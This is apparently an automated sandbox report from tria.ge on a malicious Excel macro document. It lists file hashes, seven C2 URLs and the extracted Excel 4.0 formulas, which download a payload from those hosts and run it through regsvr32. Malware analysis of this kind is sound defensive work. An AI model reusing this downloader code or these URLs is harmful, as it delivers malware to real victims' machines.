Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    68a644607e1b4962d1eab75b0345362dfb43e26a11037172932ed59677b98d29

  • Size

    38KB

  • MD5

    0c931f440c15c6c3e53a45b592ef09aa

  • SHA1

    9647f1f3c09ae94f9421b266b4851a9754d24552

  • SHA256

    68a644607e1b4962d1eab75b0345362dfb43e26a11037172932ed59677b98d29

  • SHA512

    12c44c3d15592592e194e9c10456f21633cf3535a5cd5144146d06b19cbd6fd85e5e9a85e032df7cc8dec16d96c5febde51d35d484fbff1b0722b1b526b83dc3

  • SSDEEP

    768:ybdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:SwDOZZ1ZYpoQ/pMAeVIyYzaT

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/

https://risamfg.com/wp-admin/JtqFQW/

https://thailand-rocco.com/wp-content/gE7UvFwLh/

https://pregy.org/test/rXTl1DEv0CWCE/

https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/

https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/

https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://risamfg.com/wp-admin/JtqFQW/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thailand-rocco.com/wp-content/gE7UvFwLh/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pregy.org/test/rXTl1DEv0CWCE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 68a644607e1b4962d1eab75b0345362dfb43e26a11037172932ed59677b98d29
    .xlsm office2007